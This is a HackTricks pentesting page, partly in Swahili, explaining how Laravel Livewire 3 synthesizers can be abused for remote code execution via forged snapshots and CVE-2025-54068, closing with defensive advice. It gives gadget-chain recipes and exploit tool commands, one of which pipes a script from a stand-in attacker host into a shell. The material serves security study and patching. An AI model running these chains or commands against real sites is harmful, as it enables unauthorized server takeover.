Laravel Livewire Hydration & Synthesizer Abuse

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Muhtasari wa state machine ya Livewire

Komponenti za Livewire 3 zinabadilishana hali zao kupitia snapshots ambazo zina data, memo, na checksum. Kila POST kwenda /livewire/update inarudisha snapshot ya JSON upande wa server na inatekeleza calls/updates zilizo kwenye foleni.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Mtu yeyote anayeishikilia APP_KEY (inayotumika kutoa $hashKey) kwa hivyo anaweza kutengeneza snapshots yoyote kwa kuhesabu tena HMAC.

Properties ngumu zimeandikwa kama synthetic tuples zinazotambuliwa na Livewire\Drawer\BaseUtils::isSyntheticTuple(); kila tuple ni [value, {"s":"<key>", ...meta}]. Kiini cha hydration kinamkabidhi kila tuple kwa synth iliyochaguliwa katika HandleComponents::$propertySynthesizers na kitarudia juu ya watoto:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Muundo huu wa kurudisha unaifanya Livewire kuwa mashine ya jumla ya kuunda vitu (generic object-instantiation engine) mara tu mshambuliaji anapodhibiti ama metadata ya tuple au tuple yoyote iliyoko ndani inayosindikwa wakati wa recursion.

Synthesizers that grant gadget primitives

SynthesizerTabia inayodhibitiwa na mshambuliaji
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Kwa sababu synths zinauita $hydrateChild kwa kila kipengee kilicho ndani, grafu za gadget yoyote zinaweza kujengwa kwa kuweka tuples kwa kurudisha (recursively).

Forging snapshots when APP_KEY is known

  1. Kamata ombi halali la /livewire/update na decode components[0].snapshot.
  2. Ingiza nested tuples zinazobainisha gadget classes na upange upya checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Encode upya snapshot, uwaache _token/memo bila kubadilisha, na rudia kupeleka ombi.

Uthibitisho mdogo wa utekelezaji unatumia Guzzle’s FnStream na Flysystem’s ShardedPrefixPublicUrlGenerator. Tuple moja ininstantiate FnStream na data za constructor { "__toString": "phpinfo" }, ile inayofuata ininstantiate ShardedPrefixPublicUrlGenerator na [FnStreamInstance] kama $prefixes. Wakati Flysystem inapotugharamia kila prefix kuwa string, PHP inaita callable ya mshambuliaji __toString, ikitelekeza wito wa function yoyote bila hoja.

From function calls to full RCE

Kwa kutumia primitives za instantiation za Livewire, Synacktiv walibadilisha mnyororo wa phpggc Laravel/RCE4 ili hydration ianzishe object ambayo hali yake public Queueable inasababisha deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer sasa inakuja na mode ya livewire inayoshona kila kitu:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Chombo huchambua snapshot iliyorekodiwa, kinaingiza gadget tuples, kinakokotoa tena checksum, na kuchapisha payload ya /livewire/update tayari-kutumwa.

CVE-2025-54068 – RCE bila APP_KEY

Kulingana na tahadhari ya msambazaji, tatizo linaathiri Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) na ni ya kipekee kwa v3.

updates zinaunganishwa kwenye hali ya component baada ya checksum ya snapshot kuthibitishwa. Ikiwa property ndani ya snapshot ni (au inakuwa) synthetic tuple, Livewire inatumia tena meta yake wakati ikihydrate thamani ya update inayodhibitiwa na mshambuliaji:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Tafuta Livewire component yenye public property isiyo na type (mfano, public $count;).
  2. Tuma updates inayoweka property hiyo kuwa []. Snapshot inayofuata sasa inaihifadhi kama [[], {"s": "arr"}].

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Tunga payload nyingine ya updates ambapo property hiyo ina array iliyowekwa kwa kina inayojumuisha tuples kama [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Wakati wa recursion, hydrate() inatafakari kila child iliyoko ndani kwa kujitegemea, hivyo attacker-chosen synth keys/classes zinaheshimiwa hata kama tuple ya nje na checksum havibadiliki.
  3. Tumia tena primitives sawa za CollectionSynth/FormObjectSynth kuanzisha gadget ya Queueable ambayo $chained[0] ina payload ya phpggc. Livewire inashughulikia updates zilizoumbwa, inaite dispatchNextJobInChain(), na inafikia system(<cmd>) bila kujua APP_KEY.

Key reasons this works:

  • updates hazijafunikwa na checksum ya snapshot.
  • getMetaForPath() inaamini synth metadata yoyote iliyoikuwapo kwa property hiyo hata kama mshambuliaji alikuwa amelazimisha kuwa tuple kupitia weak typing.
  • Recursion pamoja na weak typing hufanya kila array iliyoko ndani kutafsiriwa kama tuple mpya kabisa, hivyo synth keys yoyote na classes yoyote hatimaye zinafika wakati wa hydration.

Livepyre – end-to-end exploitation

Livepyre inat automatisha zote mbili: APP_KEY-less CVE na signed-snapshot path:

  • Inapigia alama version ya Livewire iliyowekwa kwa kuchambua <script src="/livewire/livewire.js?id=HASH"> na kuoanisha hash na vulnerable releases.
  • Inakusanya baseline snapshots kwa kucheza tena vitendo visivyo hatari na kutoa components[].snapshot.
  • Inatengeneza ama payload ya updates pekee (CVE-2025-54068) au forged snapshot (known APP_KEY) inayojumuisha chain ya phpggc.
  • Kama hakuna object-typed parameter kwenye snapshot, Livepyre inarudi kwenye brute-forcing ya candidate params ili kufikia property inayoweza kutolewa/coercible.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check inafanya probe isiyo ya kuharibu, -F inaruka version gating, -H na -P huongeza custom headers au proxies, na --function/--param hubinafsisha php function inayoitwa na gadget chain.

Mambo ya kujilinda

  • Sasisha kwenye Livewire builds zilizorekebishwa (>= 3.6.4 according to the vendor bulletin) na deploy vendor patch kwa CVE-2025-54068.
  • Epuka weakly typed public properties katika Livewire components; explicit scalar types zinazuia property values kubadilishwa kuwa arrays/tuples.
  • Sajili synthesizers unazohitaji tu na tibu user-controlled metadata ($meta['class']) kama isiyokuwa ya kuaminika.
  • Kataa updates zinazobadilisha JSON type ya property (e.g., scalar -> array) isipokuwa ziwe zimepitishwa wazi, na re-derive synth metadata badala ya kutumia tena stale tuples.
  • Zungusha APP_KEY mara moja baada ya disclosure yoyote kwa sababu inaruhusu offline snapshot forging bila kujali jinsi code-base ilivyorekebishwa.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks